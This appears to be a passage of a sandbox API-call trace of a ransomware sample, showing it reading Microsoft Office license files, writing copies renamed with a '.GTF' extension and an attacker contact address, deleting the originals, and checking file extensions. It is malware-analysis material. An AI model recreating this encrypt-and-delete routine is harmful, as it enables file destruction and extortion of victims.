	[0181.840] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0181.842] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0181.843] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.843] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0181.843] SetEndOfFile (hFile=0x378) returned 1
	[0181.844] CloseHandle (hObject=0x378) returned 1
	[0181.844] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.844] SetEndOfFile (hFile=0x504) returned 1
	[0181.847] CloseHandle (hObject=0x504) returned 1
	[0181.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms")) returned 1
	[0181.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.848] lstrlenW (lpString=".doc") returned 4
	[0181.848] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.848] lstrlenW (lpString=".docx") returned 5
	[0181.848] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.848] lstrlenW (lpString=".pdf") returned 4
	[0181.848] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.848] lstrlenW (lpString=".xls") returned 4
	[0181.848] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.848] lstrlenW (lpString=".xlsx") returned 5
	[0181.848] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.848] lstrlenW (lpString=".ppt") returned 4
	[0181.848] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.848] lstrlenW (lpString=".zip") returned 4
	[0181.848] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.848] lstrlenW (lpString=".rar") returned 4
	[0181.848] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.848] lstrlenW (lpString=".bz2") returned 4
	[0181.848] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString=".7z") returned 3
	[0181.849] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.849] lstrlenW (lpString=".dbf") returned 4
	[0181.849] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.849] lstrlenW (lpString=".1cd") returned 4
	[0181.849] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.849] lstrlenW (lpString=".jpg") returned 4
	[0181.849] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.849] lstrlenW (lpString=".doc") returned 4
	[0181.849] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString=".docx") returned 5
	[0181.849] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.849] lstrlenW (lpString=".pdf") returned 4
	[0181.849] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString=".xls") returned 4
	[0181.849] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString=".xlsx") returned 5
	[0181.849] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.849] lstrlenW (lpString=".ppt") returned 4
	[0181.849] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.849] lstrlenW (lpString=".zip") returned 4
	[0181.849] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString=".rar") returned 4
	[0181.849] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString=".bz2") returned 4
	[0181.849] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.849] lstrlenW (lpString=".7z") returned 3
	[0181.849] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.849] lstrlenW (lpString=".dbf") returned 4
	[0181.849] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.850] lstrlenW (lpString=".1cd") returned 4
	[0181.850] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95
	[0181.850] lstrlenW (lpString=".jpg") returned 4
	[0181.850] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.850] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.850] lstrlenW (lpString="O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 41
	[0181.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.851] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11215) returned 1
	[0181.851] CloseHandle (hObject=0x504) returned 1
	[0181.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms")) returned 0x220
	[0181.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.851] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.851] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.852] GetLastError () returned 0x0
	[0181.852] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0181.854] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0181.855] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.855] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x126, lpOverlapped=0x0) returned 1
	[0181.855] SetEndOfFile (hFile=0x378) returned 1
	[0181.856] CloseHandle (hObject=0x378) returned 1
	[0181.856] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.856] SetEndOfFile (hFile=0x504) returned 1
	[0181.859] CloseHandle (hObject=0x504) returned 1
	[0181.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms")) returned 1
	[0181.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.860] lstrlenW (lpString=".doc") returned 4
	[0181.860] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.860] lstrlenW (lpString=".docx") returned 5
	[0181.860] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.860] lstrlenW (lpString=".pdf") returned 4
	[0181.860] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.860] lstrlenW (lpString=".xls") returned 4
	[0181.860] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.860] lstrlenW (lpString=".xlsx") returned 5
	[0181.861] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.861] lstrlenW (lpString=".ppt") returned 4
	[0181.861] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.861] lstrlenW (lpString=".zip") returned 4
	[0181.861] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString=".rar") returned 4
	[0181.861] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString=".bz2") returned 4
	[0181.861] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString=".7z") returned 3
	[0181.861] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.861] lstrlenW (lpString=".dbf") returned 4
	[0181.861] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.861] lstrlenW (lpString=".1cd") returned 4
	[0181.861] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.861] lstrlenW (lpString=".jpg") returned 4
	[0181.861] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.861] lstrlenW (lpString=".doc") returned 4
	[0181.861] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString=".docx") returned 5
	[0181.861] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.861] lstrlenW (lpString=".pdf") returned 4
	[0181.861] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString=".xls") returned 4
	[0181.861] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.861] lstrlenW (lpString=".xlsx") returned 5
	[0181.861] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.861] lstrlenW (lpString=".ppt") returned 4
	[0181.862] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.862] lstrlenW (lpString=".zip") returned 4
	[0181.862] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.862] lstrlenW (lpString=".rar") returned 4
	[0181.862] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.862] lstrlenW (lpString=".bz2") returned 4
	[0181.862] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.862] lstrlenW (lpString=".7z") returned 3
	[0181.862] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.862] lstrlenW (lpString=".dbf") returned 4
	[0181.862] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.862] lstrlenW (lpString=".1cd") returned 4
	[0181.862] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0181.862] lstrlenW (lpString=".jpg") returned 4
	[0181.862] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.862] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.862] lstrlenW (lpString="O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 42
	[0181.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.863] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=27735) returned 1
	[0181.863] CloseHandle (hObject=0x504) returned 1
	[0181.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms")) returned 0x220
	[0181.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.864] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.864] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.865] GetLastError () returned 0x0
	[0181.865] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0182.098] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0182.100] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.100] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x128, lpOverlapped=0x0) returned 1
	[0182.101] SetEndOfFile (hFile=0x378) returned 1
	[0182.101] CloseHandle (hObject=0x378) returned 1
	[0182.101] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.101] SetEndOfFile (hFile=0x504) returned 1
	[0182.104] CloseHandle (hObject=0x504) returned 1
	[0182.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms")) returned 1
	[0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.106] lstrlenW (lpString=".doc") returned 4
	[0182.106] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString=".docx") returned 5
	[0182.106] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.106] lstrlenW (lpString=".pdf") returned 4
	[0182.106] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString=".xls") returned 4
	[0182.106] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString=".xlsx") returned 5
	[0182.106] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.106] lstrlenW (lpString=".ppt") returned 4
	[0182.106] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.106] lstrlenW (lpString=".zip") returned 4
	[0182.106] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString=".rar") returned 4
	[0182.106] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString=".bz2") returned 4
	[0182.106] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString=".7z") returned 3
	[0182.106] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.106] lstrlenW (lpString=".dbf") returned 4
	[0182.106] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.106] lstrlenW (lpString=".1cd") returned 4
	[0182.106] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.106] lstrlenW (lpString=".jpg") returned 4
	[0182.106] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.107] lstrlenW (lpString=".doc") returned 4
	[0182.107] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString=".docx") returned 5
	[0182.107] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.107] lstrlenW (lpString=".pdf") returned 4
	[0182.107] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString=".xls") returned 4
	[0182.107] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString=".xlsx") returned 5
	[0182.107] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.107] lstrlenW (lpString=".ppt") returned 4
	[0182.107] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.107] lstrlenW (lpString=".zip") returned 4
	[0182.107] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString=".rar") returned 4
	[0182.107] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString=".bz2") returned 4
	[0182.107] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString=".7z") returned 3
	[0182.107] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.107] lstrlenW (lpString=".dbf") returned 4
	[0182.107] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.107] lstrlenW (lpString=".1cd") returned 4
	[0182.107] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0182.107] lstrlenW (lpString=".jpg") returned 4
	[0182.107] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.107] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.107] lstrlenW (lpString="O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 38
	[0182.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.108] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=23843) returned 1
	[0182.108] CloseHandle (hObject=0x504) returned 1
	[0182.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms")) returned 0x220
